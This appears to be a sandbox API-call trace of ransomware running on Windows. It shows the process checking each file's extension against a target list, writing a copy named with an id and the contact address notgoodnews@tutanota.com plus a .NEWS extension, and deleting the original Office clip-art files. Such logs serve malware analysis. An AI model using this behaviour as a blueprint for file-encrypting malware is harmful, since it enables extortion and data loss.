[0161.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString=".bz2") returned 4 [0161.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString=".7z") returned 3 [0161.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.116] lstrlenW (lpString=".dbf") returned 4 [0161.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.117] lstrlenW (lpString=".1cd") returned 4 [0161.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.117] lstrlenW (lpString=".jpg") returned 4 [0161.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.117] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.117] lstrlenW (lpString="HH02312_.WMF") returned 12 [0161.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.117] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4970) returned 1 [0161.117] CloseHandle (hObject=0x47c) returned 1 [0161.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0161.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.118] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.118] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.123] GetLastError () returned 0x0 [0161.123] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x136a, lpOverlapped=0x0) returned 1 [0161.125] WriteFile (in: hFile=0x46c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1370, lpOverlapped=0x0) returned 1 [0161.126] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.126] WriteFile (in: hFile=0x46c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.126] SetEndOfFile (hFile=0x46c) returned 1 [0161.126] CloseHandle (hObject=0x46c) returned 1 [0161.126] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.126] SetEndOfFile (hFile=0x47c) returned 1 [0161.129] CloseHandle (hObject=0x47c) returned 1 [0161.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0161.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.130] lstrlenW (lpString=".doc") returned 4 [0161.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.130] lstrlenW (lpString=".docx") returned 5 [0161.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.130] lstrlenW (lpString=".pdf") returned 4 [0161.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.130] lstrlenW (lpString=".xls") returned 4 [0161.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.130] lstrlenW (lpString=".xlsx") returned 5 [0161.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.130] lstrlenW (lpString=".ppt") returned 4 [0161.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.131] lstrlenW (lpString=".zip") returned 4 [0161.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.131] lstrlenW (lpString=".rar") returned 4 [0161.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString=".bz2") returned 4 [0161.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString=".7z") returned 3 [0161.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.131] lstrlenW (lpString=".dbf") returned 4 [0161.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.131] lstrlenW (lpString=".1cd") returned 4 [0161.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.131] lstrlenW (lpString=".jpg") returned 4 [0161.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.131] lstrlenW (lpString=".doc") returned 4 [0161.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString=".docx") returned 5 [0161.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.131] lstrlenW (lpString=".pdf") returned 4 [0161.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.131] lstrlenW (lpString=".xls") returned 4 [0161.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.131] lstrlenW (lpString=".xlsx") returned 5 [0161.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.131] lstrlenW (lpString=".ppt") returned 4 [0161.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.132] lstrlenW (lpString=".zip") returned 4 [0161.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.132] lstrlenW (lpString=".rar") returned 4 [0161.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.132] lstrlenW (lpString=".bz2") returned 4 [0161.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.132] lstrlenW (lpString=".7z") returned 3 [0161.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.132] lstrlenW (lpString=".dbf") returned 4 [0161.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.132] lstrlenW (lpString=".1cd") returned 4 [0161.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0161.132] lstrlenW (lpString=".jpg") returned 4 [0161.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.132] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.132] lstrlenW (lpString="HH02313_.WMF") returned 12 [0161.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.133] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3082) returned 1 [0161.133] CloseHandle (hObject=0x47c) returned 1 [0161.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0161.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.133] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.134] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0161.585] GetLastError () returned 0x0 [0161.585] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0161.587] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xc10, lpOverlapped=0x0) returned 1 [0161.589] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.589] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.589] SetEndOfFile (hFile=0x4c4) returned 1 [0161.590] CloseHandle (hObject=0x4c4) returned 1 [0161.590] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.590] SetEndOfFile (hFile=0x47c) returned 1 [0161.593] CloseHandle (hObject=0x47c) returned 1 [0161.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.595] lstrlenW (lpString=".doc") returned 4 [0161.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".docx") returned 5 [0161.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.595] lstrlenW (lpString=".pdf") returned 4 [0161.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".xls") returned 4 [0161.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.595] lstrlenW (lpString=".xlsx") returned 5 [0161.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.595] lstrlenW (lpString=".ppt") returned 4 [0161.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.595] lstrlenW (lpString=".zip") returned 4 [0161.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.595] lstrlenW (lpString=".rar") returned 4 [0161.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".bz2") returned 4 [0161.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".7z") returned 3 [0161.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.595] lstrlenW (lpString=".dbf") returned 4 [0161.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.595] lstrlenW (lpString=".1cd") returned 4 [0161.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.596] lstrlenW (lpString=".jpg") returned 4 [0161.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.596] lstrlenW (lpString=".doc") returned 4 [0161.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".docx") returned 5 [0161.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.596] lstrlenW (lpString=".pdf") returned 4 [0161.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".xls") returned 4 [0161.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.596] lstrlenW (lpString=".xlsx") returned 5 [0161.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.596] lstrlenW (lpString=".ppt") returned 4 [0161.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.596] lstrlenW (lpString=".zip") returned 4 [0161.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.596] lstrlenW (lpString=".rar") returned 4 [0161.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".bz2") returned 4 [0161.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".7z") returned 3 [0161.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.596] lstrlenW (lpString=".dbf") returned 4 [0161.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.597] lstrlenW (lpString=".1cd") returned 4 [0161.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0161.597] lstrlenW (lpString=".jpg") returned 4 [0161.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.597] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.597] lstrlenW (lpString="IN00177_.WMF") returned 12 [0161.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.598] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1074) returned 1 [0161.598] CloseHandle (hObject=0x47c) returned 1 [0161.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0161.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.599] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.599] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0161.600] GetLastError () returned 0x0 [0161.600] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x432, lpOverlapped=0x0) returned 1 [0161.615] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x440, lpOverlapped=0x0) returned 1 [0161.616] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.616] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.617] SetEndOfFile (hFile=0x4c4) returned 1 [0161.617] CloseHandle (hObject=0x4c4) returned 1 [0161.617] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.617] SetEndOfFile (hFile=0x47c) returned 1 [0161.620] CloseHandle (hObject=0x47c) returned 1 [0161.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0161.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.622] lstrlenW (lpString=".doc") returned 4 [0161.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.622] lstrlenW (lpString=".docx") returned 5 [0161.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.622] lstrlenW (lpString=".pdf") returned 4 [0161.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.622] lstrlenW (lpString=".xls") returned 4 [0161.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.622] lstrlenW (lpString=".xlsx") returned 5 [0161.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.622] lstrlenW (lpString=".ppt") returned 4 [0161.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.622] lstrlenW (lpString=".zip") returned 4 [0161.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.622] lstrlenW (lpString=".rar") returned 4 [0161.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.622] lstrlenW (lpString=".bz2") returned 4 [0161.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.622] lstrlenW (lpString=".7z") returned 3 [0161.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.622] lstrlenW (lpString=".dbf") returned 4 [0161.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.623] lstrlenW (lpString=".1cd") returned 4 [0161.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.623] lstrlenW (lpString=".jpg") returned 4 [0161.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.623] lstrlenW (lpString=".doc") returned 4 [0161.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString=".docx") returned 5 [0161.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.623] lstrlenW (lpString=".pdf") returned 4 [0161.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString=".xls") returned 4 [0161.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.623] lstrlenW (lpString=".xlsx") returned 5 [0161.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.623] lstrlenW (lpString=".ppt") returned 4 [0161.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.623] lstrlenW (lpString=".zip") returned 4 [0161.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.623] lstrlenW (lpString=".rar") returned 4 [0161.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.623] lstrlenW (lpString=".bz2") returned 4 [0161.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString=".7z") returned 3 [0161.624] 